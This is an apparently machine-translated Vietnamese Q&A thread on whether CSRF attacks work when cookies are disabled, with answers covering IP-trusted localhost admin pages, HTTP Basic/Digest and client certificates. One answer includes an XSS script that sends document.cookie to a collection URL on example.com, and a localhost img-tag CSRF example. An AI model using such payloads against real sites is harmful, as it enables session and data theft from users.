2010-09-17 35 views
5

Tôi đã điều tra điều này một thời gian, nhưng tôi đã không tìm thấy bất cứ điều gì để thỏa mãn sự tò mò của tôi. Có thể, như một người sử dụng, là nạn nhân của một cuộc tấn công CSRF nếu cookie bị vô hiệu hóa. Rõ ràng CSRF phụ thuộc vào trình duyệt người dùng để gửi thông tin đăng nhập của người dùng với yêu cầu giả mạo tới máy chủ hợp pháp. Bên cạnh các địa chỉ IP, các trình duyệt không tự động gửi bất kỳ giá trị phiên làm việc nào khác? Trong trường hợp đó, miễn là người dùng có thể đăng nhập bằng cookie bị vô hiệu hóa, họ sẽ được an toàn từ CSRF ngay cả trên các trang web dễ bị tấn công.Có thể sử dụng CSRF khi không có Cookie không?

Trả lời

4

Vì vậy, bạn phải tự hỏi làm thế nào để máy chủ biết một khách hàng từ người khác? Trong đa số trường hợp, đó là cookie phiên, nhưng cũng có những cách khác.

Xem xét ứng dụng quản trị, được định cấu hình để chỉ hoạt động nếu được truy cập từ máy chủ cục bộ. Ở đây, máy chủ tin tưởng địa chỉ IP của trình duyệt. Bây giờ, nếu kẻ tấn công tạo một trang như <img src="http://localhost/do/something/harmful"/> và bằng cách nào đó, quản trị viên truy cập trang của anh ấy, bạn có một CSRF.

Ví dụ khác bao gồm lạm dụng xác thực cơ bản và tiêu hóa của Http, như Bruno đã chỉ ra.

+0

IMO, miễn là trình duyệt của nạn nhân có phiên hoạt động hoặc mã thông báo truy cập hoạt động (thông qua WebStorage, cookie, RAM hoặc khác), CSRF sẽ đi qua giả sử trang web không sử dụng mã thông báo đồng bộ nhằm ngăn CSRF. – Zack

-2

chắc - chỉ nghĩ rằng nếu các trang web bị tổn thương không chà HTML và bạn nhập văn bản sau đây thành một "bình luận" lĩnh vực:

<script> 
var img = document.createElement("img"); 
img.src = "http://example.com/collect.php?val=" + escape(document.cookie); 
</script> 

Về cơ bản bạn đang sử dụng javascript để thu thập các tập tin cookie và viết các giá trị vào thông số URL của thẻ hình ảnh để chúng được chuyển đến máy chủ "xấu" khi trình duyệt tìm cách tải hình ảnh. Tất nhiên - trong ví dụ trên tôi đang sử dụng cookie từ "document.cookie" nhưng theo tinh thần câu hỏi của bạn "nếu cookie bị vô hiệu hóa", thật dễ dàng để trích xuất bất kỳ thông tin nào khác từ DOM (đầu vào bị ẩn) giá trị trường, v.v.) và gửi chúng trong URL đến máy chủ đích của bạn.

+0

Có vẻ như điều này sẽ kết hợp XSS với CSRF. – Bruno

+0

Điểm tốt - Tôi đã suy nghĩ nhiều hơn dọc theo các dòng XSS truyền thống hơn là CSRF. –

+0

Tất cả các cuộc tấn công DOM này chỉ có thể thực hiện được trong cùng một miền, đúng không? Đây đúng là một cuộc tấn công XSS. – grossmae

4

Có các hình thức xác thực khác được trình duyệt hỗ trợ, đặc biệt là HTTP Basic và HTTP Digest, cũng như chứng chỉ ứng dụng khách SSL/TLS. Thật không may, giao diện "đăng xuất" khi sử dụng các cơ chế này thường khá kém. Không giống như cookie và biểu mẫu, việc dừng sử dụng thông tin đăng nhập được kiểm soát bởi trình duyệt (không phải bởi máy chủ và cookie của trình duyệt), nhưng các nút ở mức tốt nhất trong một số menu nâng cao nói chung (nếu chúng tồn tại).

+0

Vì vậy, nếu người dùng vô hiệu hóa cookie trong trình duyệt của họ, các lựa chọn thay thế điển hình là Xác thực HTTP hoặc chỉ cần chuyển ID phiên qua các biểu mẫu? – grossmae

Các vấn đề liên quan